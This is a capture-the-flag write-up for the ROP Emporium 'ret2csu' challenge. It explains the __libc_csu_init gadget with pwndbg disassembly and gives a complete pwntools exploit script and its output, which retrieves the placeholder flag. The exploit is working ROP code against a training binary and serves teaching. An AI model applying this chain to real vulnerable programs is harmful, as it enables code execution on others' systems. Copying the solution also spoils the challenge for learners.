Post

ret2csu

ret2csu

ret2csu

Description

This is the final problem in ropemporium, aptly named ret2csu after the vulnerability.

ret2csu is a ROP chain that is present in every ELF that contains __libc_csu_init.

Exploration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
pwndbg> disass __libc_csu_init
Dump of assembler code for function __libc_csu_init:
   0x0000000000400640 <+0>:     push   r15
   0x0000000000400642 <+2>:     push   r14
   0x0000000000400644 <+4>:     mov    r15,rdx
   0x0000000000400647 <+7>:     push   r13
   0x0000000000400649 <+9>:     push   r12
   0x000000000040064b <+11>:    lea    r12,[rip+0x20079e]        # 0x600df0
   0x0000000000400652 <+18>:    push   rbp
   0x0000000000400653 <+19>:    lea    rbp,[rip+0x20079e]        # 0x600df8
   0x000000000040065a <+26>:    push   rbx
   0x000000000040065b <+27>:    mov    r13d,edi
   0x000000000040065e <+30>:    mov    r14,rsi
   0x0000000000400661 <+33>:    sub    rbp,r12
   0x0000000000400664 <+36>:    sub    rsp,0x8
   0x0000000000400668 <+40>:    sar    rbp,0x3
   0x000000000040066c <+44>:    call   0x4004d0 <_init>
   0x0000000000400671 <+49>:    test   rbp,rbp
   0x0000000000400674 <+52>:    je     0x400696 <__libc_csu_init+86>
   0x0000000000400676 <+54>:    xor    ebx,ebx
   0x0000000000400678 <+56>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x0000000000400680 <+64>:    mov    rdx,r15
   0x0000000000400683 <+67>:    mov    rsi,r14
   0x0000000000400686 <+70>:    mov    edi,r13d
   0x0000000000400689 <+73>:    call   QWORD PTR [r12+rbx*8]
   0x000000000040068d <+77>:    add    rbx,0x1
   0x0000000000400691 <+81>:    cmp    rbp,rbx
   0x0000000000400694 <+84>:    jne    0x400680 <__libc_csu_init+64>
   0x0000000000400696 <+86>:    add    rsp,0x8
   0x000000000040069a <+90>:    pop    rbx
   0x000000000040069b <+91>:    pop    rbp
   0x000000000040069c <+92>:    pop    r12
   0x000000000040069e <+94>:    pop    r13
   0x00000000004006a0 <+96>:    pop    r14
   0x00000000004006a2 <+98>:    pop    r15
   0x00000000004006a4 <+100>:   ret
End of assembler dump.

This is __libc_csu_init, which contains a ROP gadget that can do almost anything:

  • mov rdx,r15
  • mov rsi, r14
  • mov edi, r13d
  • call QWORD PTR [r12+rbx*8]
  • add rbx,0x1
  • cmp rbp,rbx
  • jne 0x400680
  • add rsp,0x8
  • pop rbx
  • pop rbp
  • pop r12
  • pop r13
  • pop r14
  • pop r15
  • ret

With multiple calls, we can set edi, rsi, and rdx. We’ll also call the address at r12+rbx*8 (not the value, the value at the address). The first call to the gadget would be setting all of the numbered. The second call to the gadget would set up the argument registers, blow past the call and jump, and return to any address we want.

The second call would need rbx+1 to be equal to rbp, but we control rbp. We can set rbp to 1 and rbx to 0 so that the call instruction just uses r12 (0*8 = 0).

All that is necessary now is to put an address into r12 that contains an address of any simple gadget or function.

Luckily, we have _init, which is always present in a binary:

1
2
3
4
5
6
7
8
9
10
pwndbg> disass _init
Dump of assembler code for function _init:
   0x00000000004004d0 <+0>:     sub    rsp,0x8
   0x00000000004004d4 <+4>:     mov    rax,QWORD PTR [rip+0x200b1d]        # 0x600ff8
   0x00000000004004db <+11>:    test   rax,rax
   0x00000000004004de <+14>:    je     0x4004e2 <_init+18>
   0x00000000004004e0 <+16>:    call   rax
   0x00000000004004e2 <+18>:    add    rsp,0x8
   0x00000000004004e6 <+22>:    ret
End of assembler dump.

It then will never jump, since je will only work when rax is 0. Luckily, rax should be 0:

1
2
pwndbg> p/x *0x600ff8
$4 = 0x0

Therefore, this call will do nothing. The only issue is figuring out somewhere that has the address of _init. There’s also a solution to that: the .dynamic section.

1
2
3
4
5
6
pwndbg> x/10gx &_DYNAMIC
0x600e00:       0x0000000000000001      0x0000000000000001
0x600e10:       0x0000000000000001      0x0000000000000038
0x600e20:       0x000000000000001d      0x0000000000000078
0x600e30:       0x000000000000000c      0x00000000004004d0
0x600e40:       0x000000000000000d      0x00000000004006b4

We can see that the address for _init is at 0x600e38.

There is one last problem: the gadgets only set up edi, not rdi. There is, however, a standard pop rdi:

1
2
3
4
5
6
7
$ ropper --file ./ret2csu --search "pop rdi"[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: ./ret2csu
0x00000000004006a3: pop rdi; ret; 

Therefore, our payload is as follows:

  • set r12 = 0x600e38
  • set rbx = 0
  • set rbp = 1
  • set r13d to whatever, as we will set rdi later
  • set r14 to the value that rsi will eventually be the second argument, 0xcafebabecafebabe
  • set r15 to the value that rdx will eventually be the third argument, 0xd00df00dd00df00d
  • set rdi to 0xdeadbeefdeadbeef

In segments:

  • the first part will set all of the initial registers
  • the second part will set all of the argument registers. note that we’ll also need to account for the add rsp,0x8 and the 6 pops (effectively 7 pops) before the real ret
  • the third part will set rdi
  • the final part will call ret2csu

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3

from pwn import *

exe = ELF("./ret2csu")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r

def main():
    # r = conn()
    r = process([exe.path])
    # good luck pwning :)
    offset = 0x28
    _init_gadget = 0x600e38
    part1_gadget = 0x40069a # pop rbx, rbp, r12, r13, r14, r15
    part1 = flat([
        part1_gadget,
        0, # rbx
        1, # rbp
        _init_gadget, # r12
        0xdeadbeef, # junk, since rdi will be set later
        0xcafebabecafebabe, # r14 (rsi later)
        0xd00df00dd00df00d, # r15 (rdx later)
    ])
    part2_gadget = 0x400680
    part2 = flat([
        part2_gadget,
        0xdeadbeef, # junk, will be lost by add rsp
        0xdeadbeef, # junk, will be placed into rbx
        0xdeadbeef, # junk, will be placed into rbp
        0xdeadbeef, # junk, will be placed into r12
        0xdeadbeef, # junk, will be placed into r13
        0xdeadbeef, # junk, will be placed into r14
        0xdeadbeef, # junk, will be placed into r15
    ])
    rdi_gadget = 0x4006a3
    part3 = flat([
        rdi_gadget,
        0xdeadbeefdeadbeef,
        exe.plt["ret2win"]
    ])
    payload = flat({
        offset: [
            part1,
            part2,
            part3
        ]
    })
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/ret2csu/ret2csu'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/home/ctf/ctf/ropemporium/ret2csu/ret2csu': pid 3326804
[*] Switching to interactive mode
[*] Process '/home/ctf/ctf/ropemporium/ret2csu/ret2csu' stopped with exit code 0 (pid 3326804)
ret2csu by ROP Emporium
x86_64

Check out https://ropemporium.com/challenge/ret2csu.html for information on how to solve this challenge.

> Thank you!
ROPE{a_placeholder_32byte_flag!}
This post is licensed under CC BY 4.0 by the author.

Trending Tags